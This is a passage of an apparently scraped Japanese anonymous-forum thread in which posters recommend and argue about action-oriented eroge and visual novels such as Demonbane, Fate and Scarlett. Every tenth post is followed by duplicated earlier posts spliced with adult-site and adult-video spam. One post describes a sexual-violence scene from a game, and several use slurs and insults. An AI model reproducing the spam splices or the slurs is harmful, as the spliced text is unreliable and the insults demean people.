パラロスは俺もやったけど、メタル兄ちゃんくらいしか覚えてない。 詠唱あったっけ???みたいな感じ。呪文詠唱シーンとかさっぱり忘れてたなぁ。

185:名無したちの午後
むしろ3人での呪文詠唱合戦以外たいして見所は(ry

186:名無したちの午後
パラロスは、おまけシナリオの妹のぶっちぎりっぷりが凄かった。

187:名無したちの午後
CANNONBALLに詠唱あったな。 「我が手にカドゥケウス。またの名を〜〜」 ってやつ。かっこいいんだけど詠唱らしい詠唱はこれしかない罠。

188:名無したちの午後
銀河有数の魔女だから詠唱とかいらないんだろうw

189:名無したちの午後
凄い奴は詠唱いらないってなるからなかなかバランスが難しい。

190:名無したちの午後
デモベの詠唱っつーと                l^丶                |  '゛''"'''゛ y-―, あ ふんぐるい むぐるうなふ くとぅるう                ミ ´ ∀ `  ,:'                   (丶    (丶 ミ   いあ    いあ           ((    ミ        ;':  ハ,_,ハ   ハ,_,ハ               ;:        ミ   ';´∀` '; ';´∀` ';               `:;       ,:'  c  c.ミ'  c  c.ミ                U"゛'''~"^'丶)   u''゛"J   u''゛"J             /^l      ,―-y'"'~"゛´  |   それ  るるいえ うがふなぐる ふたぐん      ヽ  ´ ∀ `  ゛':      ミ  .,/)   、/)    いあ    いあ      ゛,   "'   ´''ミ   ハ,_,ハ    ハ,_,ハ   ((  ミ       ;:'  ,:' ´∀`';  ,:' ´∀`';       ';      彡  :: っ ,っ  :: っ ,っ       (/~"゛''´~"U    ι''"゛''u    ι''"゛''u こんなんだっけか。

191:名無したちの午後
はぴねす!の魔法詠唱はすっごい無意味に聞こえるぜ

192:名無したちの午後
デモンベインはクトゥルーおなじみ詠唱だからなぁ・・・

193:名無したちの午後
デモンベインなら召還時の「憎悪の空より来たりて―――」とかもあるっちゃあるが。

194:名無したちの午後
汝、無垢なる刃デモンベイン!! デモンベインこそ燃えゲーニトロの真骨頂。

195:名無したちの午後
デモベはクトゥルー詳しくないほうがいいな・・・なんちゃってクトゥルフが・・・

196:名無したちの午後
まぁ、クトゥルー復活したりラヴクラフトの重要なキャラやネタを使い捨てしたりするしねぇ

197:名無したちの午後
なんちゃってってか下敷きにしてるだけでストーリーそのものはほとんど関係ないんだから 知ってても問題ない 魔道書あたりでちょっとニヤリとできるしな

198:名無したちの午後
>>197 同意。クトゥルー厨って勘違い野郎が多すぎて困る。

199:名無したちの午後
>>なんちゃってクトゥルー そもそもHPLの姿勢自体「二次OK。つか、宣伝よろ。」だと認識していたんだが。

200:名無したちの午後
多分ラブクラの原作以外認めない原理主義なんだろ? さておき、加工のかかったジューダスの詠唱萌え〜。ラスボス戦萎え〜。

多分ラブクラの原作以外認めない原理主義なんだろ? さておき、加工のかかったジューダスの詠唱萌え〜。ラスボス戦萎え〜。 カリビアンコム >>なんちゃってクトゥルー そもそもHPLの姿勢自体「二次OK。つか、宣伝よろ。」だと認識していたんだが。



201:名無したちの午後
主人公声なしだったからな。 ジューダスの「アクセス――我がシン」を初めて聞いたときいろんな汁が出た。

202:名無したちの午後
http://www.imgup.org/iup211070.jpg http://www.imgup.org/iup211071.jpg BIG ONE!! ・・・不思議とこれ見てると燃えね? ※人によってはグロなので注意!!

203:名無したちの午後
いや、全然。 にしてもでかいな…。

204:名無したちの午後
ああ・・・でかいな。 でも少し形が歪なような気も。

205:名無したちの午後
>>194 古臭さを感じるかもしれんが、王道っぷりは凄いと思う。 窮地からの大逆転劇は、分かっていてもヤラレたよ。 あの熱さは良いね。 ただ個人的には、ニトロは燃えゲーでジャンルを狭める事なく、 ハードで大人な作品を目指して欲しい気もする。

206:名無したちの午後
虚淵がじぶんとこの仕事をちゃんとしてないくさいから当分無理なきがする。

207:名無したちの午後
挙げられてるのでやったのは、 沙耶の唄、Fate/stay night、IZUMO2、うたわれるもの、アトラク=ナクア、ONLY YOU、メタモルファンタジー、あやかしびと、です。 とりあえずFate、うたわれるもの、あやかしびと(桐子編乗っ取られたとこ)が個人的にヒットでした。 あと、メタモルファンタジーは内容はともかく、正体を隠して仲間と結託するシチュエーションに燃えた。 で、逆にダメだったのはONLY YOUとIZUMO2。セリフがダサいこと、お粗末な展開、テキストがヘッポコでプレイしてて冷めました。 とりあえず好みの傾向としては、シリアスな少年漫画的なノリで異能モノが良いです。 もっと絞るなら、自分の正体を隠して敵やら運命やらに立ち向かう系の燃えゲー。 こんな感じなんですが、お勧めのゲームってありますか?

208:名無したちの午後
ヴェドゴニアが該当するような

209:名無したちの午後
正体を隠して、運命に立ち向かうってなら、ハローワールドもばっちりはまってるな そういえばファントムも2部は正体隠して潜伏してたか… ニトロってそんなんばっかかいな…

210:名無したちの午後
>>207 HEAVEN

211:名無したちの午後
ハロワだな。自分の正体は明かせない、でも自分の能力を使えば親しい人を助けられるという 葛藤に燃えられるなら間違いなくお勧め。

212:名無したちの午後
ハロワは絵さえ違えばよかったんだけどな〜

213:名無したちの午後
むしろ序盤のダルさと微妙なフラグを超えなければ、ハロワは燃えまでたどり着けないのが問題じゃないか?

214:207
ニトロは沙耶の唄の暗い雰囲気が抜けなくて、いまいち手が出ないんだよな。嫌いじゃないんだけど。 とりあえずハロワは候補に入れてみます。 他はどんな感じでしょう?

215:名無したちの午後
ヴェドゴニアも知人には正体を隠して敵に立ち向かう。後は朝夜もそのタイプか?

216:名無したちの午後
おいらは番台もそんな感じだな。

217:名無したちの午後
俺が一番燃えたのってハロワなんだけどな。

218:名無したちの午後
>>209 それがいいんだよ。

219:名無したちの午後
>>207 Tears to Tiaraもすすめとく

220:名無したちの午後
というかハロワで決定な気がする 序盤の主人公がマグロだからタルいけど

というかハロワで決定な気がする 序盤の主人公がマグロだからタルいけど DMMなら1ヶ月間完全無料でDVDが借り放題!国内最大級のタイトル数! ヴェドゴニアも知人には正体を隠して敵に立ち向かう。後は朝夜もそのタイプか?



221:名無したちの午後
ハロワはシーンスキップがあればなぁ 起動してスキップ開始して 顔洗って朝飯食って歯磨いてうんこして戻ってきたらまだスキップしてたのに 驚愕した覚えがある

222:名無したちの午後
>>207 stay night やったなら、次の hollow は? 個人的に、前作より燃えたんだが。 挙げている条件のうち限定なら、 ・朝の来ない夜に抱かれて 水戸黄門みたいな、お約束展開が大丈夫なら。(お粗末な展開…か?) 今遊ぶとシステム等、古く感じるかも。 余談で、製作が同チームなので、HパターンがまんまNatural。 ・CANNONBALL、Forest 前者はシリアスな少年漫画的なノリ、後者は能力を駆使して試練に立ち向かう。 台詞やテキストがヘッポコは無く、燃えは充分にあると思う。 後者は、メタゲーというかイギリス中心の文学ゲームなので人を選ぶ。 ニトロについてだが、ハロワとデモンベインは沙耶のライターと別人なので、暗い 雰囲気は和らぐかと。(ヴェド、ファントムは同じ) ハロワは、本当に尺が長いので遊ぶなら覚悟。挫折者は多数だ。 燃えに辿るまでの長さを例えると、Fate終盤のギル戦が始まるに近い。

223:名無したちの午後
沙耶の暗さはニトロの中でも圧倒的だからこれをニトロ的とか思われても困るな

224:名無したちの午後
HIKARI戦までならそんなに長いってワケでも無いけどな。 あれで「ああ、やっと終わった……」とか感慨に耽ろうとしたらナチュラルに二部始まるから辛いんだ。

225:名無したちの午後
>>214 ネタバレになるので詳細は避けるけど、ファントムの第2部が学園に 身を潜めての展開。 正体を隠し一般生徒を装う主人公に、組織の刺客が迫る。 主人公が暗殺者なので、その辺の暗さは付きまとう。 ヴェドゴニアは、仮面ライダーの吸血鬼版。 周囲に正体を隠しての変身→戦闘が基本だが、アクションパートの 戦闘が面倒かも。2周目もスキップが出来ないし。 PS2を持っているなら、廉価版「デモンベイン」の選択肢もあるよ。 前半はギャグの入った軽いテンポだけど、中盤からバトルと展開は熱い。 窮地とそこからの大逆転は凄い。 理不尽と運命に立ち向かうという意味では、少年漫画的な王道。

226:名無したちの午後
学園編は3部じゃないか?

227:名無したちの午後
ヴェドは2週目戦闘スキップできただろ。?

228:名無したちの午後
沙耶は超純愛

229:名無したちの午後
ヴェドゴニアは最後の方でゲテモノバイクをカミカゼさせる時に、あばよ、お前はいいマシンだったぜ・・・ みたいなセリフが良かった。 ああいう苦楽を共にした物言わぬ機械に対する愛情みたいな感じの。 愛機の最後は敵と相打ち同然の大クラッシュってのがカタルシスなんだなあ。

230:207
貴重なご意見どうもです。 とりあえずニトロは一通りやってみたいかな、と。問題は金より時間だが・・・ あとライアーもやったこと無いけどちょっと気になった。 あと余談だけどhollowはやってました。 ついでに同人だけど、ひぐらしやってハマったくちです。あーゆーのもなかなか良い。  



231:名無したちの午後
いま、プリンセスうぃっちいず をやってるんだが面白い。 中盤から燃えが入ってきた

232:名無したちの午後
まあ、デスモドゥス自体はモーラ達がウピエルからかっぱらったバイクなんだけどなw

233:名無したちの午後
まぁ、信者の意見なんだけど、ライアーとニトロを遊んで いないのは、燃えゲー好きとして勿体ないと思う。 つーか、ニトロか型月で、星空めてお氏を確保してくれ。 外注でも構わんから。 >>226-227 学園編は3部だわ。 ヴェドは、初回版からそうだっけ? ……すまん、デスモドゥスに乗ったドライに殺されてくる。

234:名無したちの午後
初回版は出来なかったがパッチ当てればスキップできるようになったな。 わりと出るの遅かった記憶があるが。>ヴェド

235:名無したちの午後
プリっちは普通に面白い あの手のカードバトル物の中でもダントツに BGMもカッコいいし、戦闘もテンポよくて飽きないし アホみたいな主人公の熱さと馬鹿さがいい だが伏線放置がけっこう目立つ そこだけが惜しい

236:名無したちの午後
>198・200 亀レスだが、デモベはネタの使い方が粗雑で程度低いって言ってんの。クトゥールーなんか 知らんけどあの低劣さには呆れたよ。 んな事もわかんねぇのかこのカス信者は。ボクちゃんのデモベを馬鹿にすんなぁー、ってか?

237:名無したちの午後
>>158 まったくもってその通りだ、評価の対象になどならん。 だが1部は楽しめたのも確かなんだorz

238:名無したちの午後
>>236いや、エロゲにそんな事を求められても困る。 そういうパーツの使い方が粗雑で無く程度低くないエロゲが有ったら是非紹介してくれ。 あと、お前はカルシウムをもっと取ったほうが良いと思う。

239:名無したちの午後
だから、お決まりのゲームの話してろよ。

240:名無したちの午後
>>238が低劣だと思うゲームが家庭用ゲーム機に移植されて続編も出る どちらの感覚が正常であるかはデモンベインの商業展開を見れば明らか。

>>238が低劣だと思うゲームが家庭用ゲーム機に移植されて続編も出る どちらの感覚が正常であるかはデモンベインの商業展開を見れば明らか。 エッチな0930(オクサマ) >>236いや、エロゲにそんな事を求められても困る。 そういうパーツの使い方が粗雑で無く程度低くないエロゲが有ったら是非紹介してくれ。 あと、お前はカルシウムをもっと取ったほうが良いと思う。



241:名無したちの午後
しょうがねぇな 池沼の為にレスしてやるか ロストパラダイス最高 これで満足かい?>>239池沼アンチさん(プ

242:名無したちの午後
>>240 じゃあPS2化する「魂響」は勝ち組に入れてもいいよな! いや〜分かってくれる人は分かってくれるな〜

243:名無したちの午後
>>242 アレ シナリオすべて書き直しらしいな ある意味スゲェ

244:名無したちの午後
あれはプロローグの最後が物凄いからな… さすがに書き換えなきゃいかんよな

245:名無したちの午後
>242 売上的には勝ち組でね? ただ、どこまでリニューアルするのかによるだろうが。

246:名無したちの午後
詳細は知らんが車輪のライターが関わるなら見れるモンになんじゃないかなーとちと期待してる。 素材だけなら決して悪くはないからなぁ。

247:名無したちの午後
四人ライターで全部無名とか新人とか「?」な人。 ただ、作ってるとこ自体はI/Oとかちゃんと作ってるところなんだよな:・・・・・・。 とりあえずOP曲とデモムービーは凄く良かった。内容もあのレベルだといいんだが・・・・

248:名無したちの午後
>プロローグの最後が物凄いからな… やったことないんだがkwsk

249:名無したちの午後
>プロローグの最後が物凄いからな… そうだっけ?全然覚えてないや…。 二人位クリアしたらフル化して即売ったなぁ。

250:名無したちの午後
まぁHeavenよりはましだけどね… さすがに一人目の妹を倒された挙句、もう一人の妹が兄の目の前で殺されながら犯されるのはな… ちょっと鬱った

251:名無したちの午後
>>250 あー、あのシーンか。 プロローグだけは良かった記憶がある(`・ω・´)オモスレージャン その後ずっと(´・ω・`)だったけど…。

252:名無したちの午後
どう考えてもHEAVENのほうがましじゃん。

253:名無したちの午後
>>229 >愛機の最後は敵と相打ち同然の大クラッシュってのがカタルシスなんだなあ。 そして最後は生身でフェンシングしながら禅問答か?

254:名無したちの午後
>>159です。 みなさんのお話を総合して、「パラダイスロスト」と「プリンセスうっちぃず」と「デモンペイン」を買うことに決めました。 ありがとうございました。m(_)m

255:名無したちの午後
>>238で低劣云々って言ってるのは、神話等の外注のギミックを上手く虹創作出来てるかって話だから、 デモンベインの作品の評価とは全く関係無いよ。 例えばフェイトで女アーサーと交尾したりすんのがエロゲらしい陳腐な低劣さって事で、 一般層が引くような神話の使い方って事。 でもエロゲは一般層がやるもんじゃないからでーでも良いべ? って言ってんのよ。

256:名無したちの午後
>255 どうでもよい。

257:名無したちの午後
>>255 本当にどうでもいいな

258:名無したちの午後
eveあんまおもんなかったよ

259:名無したちの午後
「TACTICS BRID」と「Scarlett」はどうだったんだろ?

260:名無したちの午後
scarlettは淡々と進んであっさりと終わるって感じかな 一本道でボイス全部聴いて進めても12時間あれば終わるんじゃないかと 話自体は結構おもしろかったよ 燃える場面は少ないけどね

scarlettは淡々と進んであっさりと終わるって感じかな 一本道でボイス全部聴いて進めても12時間あれば終わるんじゃないかと 話自体は結構おもしろかったよ 燃える場面は少ないけどね 酒井るんな「ヒメコレ〜夏の美白姫〜」 >>238で低劣云々って言ってるのは、神話等の外注のギミックを上手く虹創作出来てるかって話だから、 デモンベインの作品の評価とは全く関係無いよ。 例えばフェイトで女アーサーと交尾したりすんのがエロゲらしい陳腐な低劣さって事で、 一般層が引くような神話の使い方って事。 でもエロゲは一般層がやるもんじゃないからでーでも良いべ? って言ってんのよ。



261:名無したちの午後
>>260 そうなんだ、燃えを結構期待してたんだけどな〜

262:名無したちの午後
デモンベインのアニメが熱い

263:名無したちの午後
もう少し動いてほしい所だが

264:名無したちの午後
>>263 それには同意 CGと声優のギャラで製作費が飛ぶのは分かるけどなw

265:名無したちの午後
ニポンアニメの制作費は常にピンハネされてるってウワサ。

266:名無したちの午後
>>265 日本でピンハネ、アメリカでチップ、中国で賄賂、韓国で横領は世界の常識だろ?

267:名無したちの午後
笛もデモンベインもアニメの方は、クソ判定出てるしなあ。 燃えエロゲ出身最後の希望は、うたわれだけか。

268:名無したちの午後
うたわれ、前半はよかったが、後半の超展開には萎えたよ TtTも後半は酷かった

269:名無したちの午後
まあ、どんな事でも自分の思い通りにならなきゃやだってお子様には、向かないな。

270:名無したちの午後
相変わらずの糞スレだな。

271:名無したちの午後
よう。久しぶり。

272:名無したちの午後
プリっち、の主人公のバトルボイスかっこ良すぎ。 技の名前を叫んだ声とか燃えすぎ。 さすがマスターヘリオンの声をやった氷河 流さんだよ。

273:名無したちの午後
あれ? テリオンだっけ?

274:名無したちの午後
マブラヴ(ULとAN) Fate 群青の空を越えて あやかしびと Tears to Tiara ファントム などが好きなんですけど、これ以外に何かお勧めありませんか? ちなみにデモベはちょっと受け付けませんでしたorz

275:名無したちの午後
>>274のゲームに共通してるのは 激闘とサブキャラ燃えか? ヴぇドゴニアとかリアライズ辺りはどうだ?

276:名無したちの午後
>>274 うたわれるものとモエかんなんか合いそう

277:名無したちの午後
>>275 PC版リアライズは消化不良でアンチ化しかねないぞwww やるならPS2版な。ちっとも値下がらないから高いけど。

278:名無したちの午後
ありがとっす ちなみにうたわれとAYAKASHIはやりました あやかしびとと比べるとAYAKASHIは物足りなかったです

279:名無したちの午後
永遠のアセリアとかはどうだ? 最初の方は絵に抵抗があるが、慣れると面白いぞ。 だが続編のスピたんはやめとけ

280:名無したちの午後
アセリアするなら妹の頭骨は脳内補正かけるんだぞ。わかったな。

永遠のアセリアとかはどうだ? 最初の方は絵に抵抗があるが、慣れると面白いぞ。 だが続編のスピたんはやめとけ 平井まりあ まりあと水着ごっこ ありがとっす ちなみにうたわれとAYAKASHIはやりました あやかしびとと比べるとAYAKASHIは物足りなかったです



281:名無したちの午後
アセリアもやったお( ^ω^) スピたんは戦闘スキップしてやったけどしょぼすぎorz

282:名無したちの午後
ファルセリオ・・・やっぱいいです・・・

283:名無したちの午後
STEELマジおすすめ!

284:名無したちの午後
塵骸魔京はお勧め!

285:名無したちの午後
STEELがここのテンプレに入ってることに疑問を感じまくる俺。 あれ作者狂ってるとしか思えないんだが。

286:名無したちの午後
>>274 Routes 塵骸魔京

287:名無したちの午後
>>285 なんか実に興味が湧いたぜ。

288:名無したちの午後
つパラダイスロスト

289:名無したちの午後
バルドフォース終わったんだが言われてるほど燃えはしなかったな 挿入歌が流れるところは燃えたんだがそこだけって感じ 期待しすぎてたのが悪かったんだろうが肩透かしくらったみたいだ

290:名無したちの午後
早くデモぺの報告しなよ 蒼 天 の セ レ ナ リ アは任せて

291:名無したちの午後
>>274 魂響や乳忍者ややジオグラマトンや聖少女戦隊レイカーズやメタルプリンセスおすすめ! 埋もれた超名作だよ! Horizontも素晴らしいね!

292:名無したちの午後
エロゲーじゃないから控えてたが、飛翔の報告してもいいのか? まあ、とはいっても前作好きなやつにとってはイケルで事足りるのだがw

293:名無したちの午後
>>285 確かにちと狂ってるな ヒロインほとんど死ぬハーレムルートというのはなかなか無い

294:名無したちの午後
ヒロインが殆どラスボスになるゲームだってテンプレ入りしてるだろ

295:名無したちの午後
「Dies irae Also sprach Zarathustra ディエス・イレ・アルゾ・シュプラーハ・ツァラトゥストラ」 light/ADV/2006年 原画:Gユウスケ シナリオ:正田崇 異彩バイオレンスストーリー。 平和な世界の向こうに潜んでいたのは、殺戮と狂気が交錯する終末の風景。生き残るのは黒衣の騎士か、それとも少年か。 世界を破滅に導く、13人の騎士が支配する都市での死闘を描く、壮大な伝奇アドベンチャー。 期待してますよlightさん

296:名無したちの午後
キター

297:名無したちの午後
中学生が考えたような紹介文だな

298:名無したちの午後
どっかでみたような煽り文つうかテンプレでもありそうだなこれ。 まあ、素材は同じでもそれをどう料理するかが腕なんだが・・・

299:名無したちの午後
よう知らんが、雑誌社が考えたもんじゃないのか、それ。

300:名無したちの午後
>>295 キターーーーー けど伝奇って・・・・・・・ パラダイスロストの人には戦闘とかじゃなくて独走性とヒロインの儚さ?みたいなのを期待してるんだがなぁ・・・・・・

>>295 キターーーーー けど伝奇って・・・・・・・ パラダイスロストの人には戦闘とかじゃなくて独走性とヒロインの儚さ?みたいなのを期待してるんだがなぁ・・・・・・ DXジョブ どっかでみたような煽り文つうかテンプレでもありそうだなこれ。 まあ、素材は同じでもそれをどう料理するかが腕なんだが・・・



301:名無したちの午後
初めてこのスレ見たけど、テンプレの中で乳忍者と学校のきゃあ以外は全部プレイ済みだった… なんでキャノンボールがあるのにメガラフターはないのん?

302:名無したちの午後
誰も報告しないか、報告があってもテンプレにいれようという流れになってないからだろ。

303:名無したちの午後
>>285 別にテンプレ=オススメてわけじゃないだろ? スレ立てるやつが勝手に継ぎ足していくだけだ 確かにsteelは燃えないわ鬱だわでツマランかったけど突っ込む気はないな

304:名無したちの午後
lightってDFと群青のあそこか? 期待してますよ。

305:名無したちの午後
ライターは一緒なのだろうか ところで何かいい燃えゲー無いか? 最近ワロゲーしかやってなくて飽きてきたから燃え系やりたいんだが プレイ済みはFate、あやかしびと、AYAKASHIくらいか?

306:名無したちの午後
ライターはパラロスの人って上にあるけど

307:名無したちの午後
テンプレ適当にしらべて好みにあいそうなのやっとけ。

308:名無したちの午後
STEELマジおすすめ!

309:名無したちの午後
主人公死亡後、メインヒロインが妊娠発覚。 普通ならその子供に未来の希望を・・・となるのが普通のシナリオ。 だがSTEELは違う。 悲惨な原因で流産して、さらにヒロインが半分狂って○○を赤ん坊と思い込んでしまうという狂気っぷり。 俺はSTEELは好きだぜ?

310:名無したちの午後
ふーん。

311:名無したちの午後
>>309 うわああああああああああああああああああああああ ネタバレやめてえええええええ

312:名無したちの午後
発売後にシナリオがダメダメな演出だけゲーとか言われてて 評判がえらい悪かったんでなんとなくずっと積みっぱになっちゃってた アヤカシを最近になってコンプしたんだが私的にはかなり面白かったわ。 シナリオも確かにメインルートは全体的に演出を効果的にする為の 派手な展開を優先するような作りになってて微妙なところも多かったけど それでもパムルートなんかは比較的良く出来てたと思うし。 そして何よりもサブキャラのキャラ立てとサブルートが秀逸。 アキノルートで彼が子犬に名前を付けるとことかたまんなかったし、 そして前川のおっさんのキャラと前川ルートが最高過ぎ。 正直これだけで私的には80〜90点付けられる。 いっそ前川主人公で前川と彼との絡みや確執を中心に描いた方が 名作になったんじゃないかと思えるくらい。 もし俺以外にもネットの悪評でアヤカシ積んでる人いたら ためしにちこっとやってみてくれと思うわ。俺はかなーり楽しめた。 前川のおっさん最高。

313:名無したちの午後
前川ルートは発売直後も評価高かっただろ

314:名無したちの午後
>>295 おぉ、なんかキタコレ。

315:名無したちの午後
>>312 AYAKASHIが出た頃の感想は イヤボーンの主人公はつまんね、脇役が足掻くシナリオは良いのに でしたけど何か?

316:名無したちの午後
しつこかったよな。

317:名無したちの午後
ええ、lightはあのちょいあを出したところです

318:名無したちの午後
そういやAYAKASHIの続編(H版?)出るらしいな

319:名無したちの午後
スカーレット。 ボリュームないけど、割と面白かった。

320:名無したちの午後
>>316 伝奇バトル物は去年徹底的に粘着されたからねえ…。 誰のせいだとは言わないが。

>>316 伝奇バトル物は去年徹底的に粘着されたからねえ…。 誰のせいだとは言わないが。 森下和美 >>312 AYAKASHIが出た頃の感想は イヤボーンの主人公はつまんね、脇役が足掻くシナリオは良いのに でしたけど何か?



321:名無したちの午後
すぐなんでもFa○eのせいにするやつがいるが、実際あそこのおかげで広まったのは事実。 あそこが大ヒットしてなかったら多分現在AYAKASHIは発売されてないよ。

322:名無したちの午後
ってかFateや月姫を持ち上げると何ですぐ厨扱いされるの?

323:名無したちの午後
叩かれてるのは いちいちNo.1だの 最高の燃えだのいってる信者だよ このスレ見てみると普通に面白いだのアタリだっただのレスしてる 人までは叩かれて無いじゃん

324:名無したちの午後
>>323 月のおかげで燃えゲーが広まったとか抜かす池沼はスルー汁

325:名無したちの午後
まあ、そんなことはどうでもいいから虚淵の新作まだぁー

326:名無したちの午後
そろそろ何らかの動きがあってもよさそうだよな。 沈黙が長すぎる。

327:名無したちの午後
沈黙とも違うような…あっちこっちでちょこちょこ名前は見かけるし

328:名無したちの午後
もう長編書く気力がありません。

329:名無したちの午後
トラウマってやつじゃね? 物書きである以上ありそうな気がする

330:名無したちの午後
すまん。スランプ



331:名無したちの午後
>>329 狗絡みで何かトラウマにでもなってそうではあるなw 虚淵もそろそろ菊門からは距離を取って欲しいもんだ。

332:名無したちの午後
そういや随分前にアセリアの演劇の第2幕を見に言って、公式資料を買ったんだが、資料にある設定の方が面白かった

333:名無したちの午後
ここだけの話、実は労咳を病んでいる虚淵氏は 枝に登った黒猫が撃てず、猫が、猫がぁと。

334:名無したちの午後
>>332 設定だおれはよくある話

335:名無したちの午後
>>322 メジャーなブツに反骨気取るのがオタの性だから。 厨認定してる俺様カコイイ!とか思ってるんだろ。

336:名無したちの午後
スカーレットなかなかよかった 適度な燃え要素が Routesを思い出したがそれよりは自然。

337:名無したちの午後
Routesときいて突撃決定しました。 >>336 責任取ってよね!!

338:名無したちの午後
自分のヘマを押し付けてんじゃねえ!

339:名無したちの午後
すまん。 反骨の意味がわかりかねる

340:名無したちの午後
>>339 権威・権力・時代風潮などに逆らう気骨。「―精神」

Routesときいて突撃決定しました。 >>336 責任取ってよね!! カリビアンコム スカーレットなかなかよかった 適度な燃え要素が Routesを思い出したがそれよりは自然。



341:名無したちの午後
ただ単に笛や月儲にアホが多いからだろ。奴らときたら本物のバカ揃いだからな つーか335、お前自分はオタじゃないとでも言うつもりか?

342:名無したちの午後
このスレにはそれ以外にも馬鹿が多い。

343:名無したちの午後
むしろバカしかいない

344:名無したちの午後
つまり相対的には誰もバカではない。

345:名無したちの午後
なるほど。

346:名無したちの午後
反骨というとちょっとヨサゲに聞こえるけど 反体制派というとどうも「全国のプロレタリアートよ今こそ立ち上がる時だ!」なふいんきだよね

347:名無したちの午後
まぁ、ゲームなんて楽しめた物勝ちだろ。

348:名無したちの午後
結論 月のゲームは面白いが、上には上がいる 真に叩くべきは月を崇めて、他社を咎める月厨なり

349:名無したちの午後
リアライズはEDまで見てないんで十分に面白かったが 月のゲームを序盤だけで終わらせると面白いのは似たようなもんだと思ってる

350:名無したちの午後
フェイトも良かったけど鬼哭街が一番燃えゲーとしては楽しめたかな なんちゅーか緊迫感が伝わってきてハラハラドキドキさせられたよ 戦うごとにボロボロになってく鬼哭街 死にかけても回復できるフェイト この辺の差かね

351:名無したちの午後
塵骸魔京の小説の二巻がみつからん

352:名無したちの午後
スカーレットは設定はともかく、テーマ的にはいつものねこだったな。 まあ、面白かったさ。

353:名無したちの午後
モエかんで普通に燃えた。

354:名無したちの午後
>>353 いや、普通に燃えるだろ 霧島ルート以外は 霧島ルートはモエかすで補完汁

355:名無したちの午後
あぁ、スカーレットってねこの遺作のことか。

356:名無したちの午後
今月の発売予定ソフトは良さそうなのが結構あるよな。

357:名無したちの午後
>>354 いまいちモエかすでも補完しきれてないんだよなぁ・・・

358:名無したちの午後
>>356 ん?今月何がある?

359:名無したちの午後
グリンスヴァール(?) 彼女たちの流儀(?) ガジェットトライアル(?) 魂響PS2 SoulLinkPS2 イリスのアトリエPS2 プリズムアーク 舞姫修羅 雷の戦士ライディU 闇の僭王 BlueBlaster 蒼天のセレナリア

360:名無したちの午後
PS2は関係ない。

グリンスヴァール(?) 彼女たちの流儀(?) ガジェットトライアル(?) 魂響PS2 SoulLinkPS2 イリスのアトリエPS2 プリズムアーク 舞姫修羅 雷の戦士ライディU 闇の僭王 BlueBlaster 蒼天のセレナリア AV女優 >>354 いまいちモエかすでも補完しきれてないんだよなぁ・・・



361:名無したちの午後
つうかなぜイリスのアトリエが入ってるんだw

362:名無したちの午後
いやすまん。エロゲーの移植は一応入れておいただけだから

363:名無したちの午後
ネギまに嵌った。 かなり燃える。面白い Fateに近い出来かも。 ソフトエロ追加で移植してくんないかな。

364:名無したちの午後
>>358 俺はBlue Destinyとプリズム・アークに期待してる。

365:名無したちの午後
>>359-364 THX補完しとく。

366:名無したちの午後
ねこねこソフトってラムネみたいなのしかイメージなかったから全然チェックしてなかかったけど 今初めてHPで見ておもしろそうだと思った 確かにRoutesっぽいな

367:名無したちの午後
http://www.mofmof.com/inspire/index_is01.shtml このスレ向けになってくれたらいいなぁ。

368:名無したちの午後
>>367 VRAM128M推奨ワロス デビュー作でこれはねーだろ…

369:名無したちの午後
タイトル燃え。 会社名がインスパイアってギャグかと・・・・・w >>368 必須と推奨の幅がやたら広いな。

370:名無したちの午後
いや、inspireって復帰作だろ、これ quadrantとかdays innocentとか出してたじゃん インスパイアが流行になる遙か昔の1997年からあるブランドですぜ?

371:名無したちの午後
なぬ、それは知らなかった・・・・・ 97じゃまだエロゲなんて知らなかった頃だw

372:名無したちの午後
97年だと10年近く前になるのか… ってことは、そろそろエロゲ暦10年か… なんか燃えてきたぜ!

373:名無したちの午後
DESIREでこの世界に入って早12年 なにもかもみな懐かしい

374:名無したちの午後
ジャンルがノベルでビデオメモリ128MB推奨て なんに使うんだろ

375:名無したちの午後
FFDみたいなのやりたいんじゃね

376:名無したちの午後
ぽっぽー

377:名無したちの午後
絵柄と時代は好みだな

378:名無したちの午後
デビュー作でこんな仕様ぶちあげちゃって・・・まともに動くものできるんかいな

379:名無したちの午後
だからデビュー作じゃねえっつーの 開発段階で一時凍結、復帰だ

380:名無したちの午後
ふと気になって調べたが機神飛翔デモンベイン(3DACT)で必須32MB推奨64MB以上なんだよな。 マジで何やらせる気なんだろう。

ふと気になって調べたが機神飛翔デモンベイン(3DACT)で必須32MB推奨64MB以上なんだよな。 マジで何やらせる気なんだろう。 エクスタシー・トイズ・ショップ デビュー作でこんな仕様ぶちあげちゃって・・・まともに動くものできるんかいな



381:名無したちの午後
銃とか傘とか3Dか? しかしそれでも128MBはいらんだろw

382:名無したちの午後
解像度が尋常じゃなく高いとか。

383:名無したちの午後
○○MB以上ってのはなんの参考にもならんのだけどね すごく適当な表記だ

384:名無したちの午後
>>383 こんな頭悪いレス久々に見た 日本語が不自由な人なんだろうか

385:名無したちの午後
最近はチップの種類を推奨環境に乗せるのが普通になってない? bitやチップの違いで性能変わるんだからメモリ容量なんてなんの物差しにもならんじゃない

386:名無したちの午後
エロゲは初めて128MB載ったカードより遙かに下の動作環境で動いてるからな 128MB載るようなビデオカードなら何でもいいともとれるが変なことには変わりない 高度な描写はしないがプログラムレベル低くてリークしまくり、128MB必要ですとか?

387:名無したちの午後
実はビジュアルをDOOM3エンジンで描画してるとか

388:名無したちの午後
>>379 スレの反応を見てもどうみてもデビュー同然です 開発チーム、冒険し過ぎたな…エロゲ会社にありがちなネトゲのやりすぎで 世間一般のスペックを誤解したのか?

389:名無したちの午後
voodoo5とか256MB積んでたぞ! やっべあれ何年前だ

390:名無したちの午後
いやいや,Voodoo5はVRAM64MBだよ。 って言うか,我が家では現役ですが何か?

391:名無したちの午後
豚鬼って少女剣士の悪夢で初登場して 立ち向かうべき悪夢でシュテフに殺されて トウミとして復活したでいいのかな?

392:名無したちの午後
スマン誤爆。

393:名無したちの午後
流れが完璧に止まってるな

394:名無したちの午後
これだって新作が出ていないからねえ…。

395:名無したちの午後
スカーレット惜しいな。 良くこのスレで出てくる作品は大抵あと1歩って評価するわけだが (実質最高評価ww) これはあと2歩くらいたりないだ。 悪役燃えか脇役燃えかキラーサウンドのどれかはほしいなぁ。

396:名無したちの午後
近距離鈴夏Hがあったからもう良作でいいよ

397:名無したちの午後
スカーレットに燃えはなかったな〜 ただひたすらにスマートにやってる感じがした

398:名無したちの午後
ありゃ心理戦だぜ。 燃えとは違う何かがあった。

399:名無したちの午後
スカーレットは比較的悪評が少なめな良作だと思う 強烈な燃えはないからこのスレ的には微妙だけどな

400:名無したちの午後
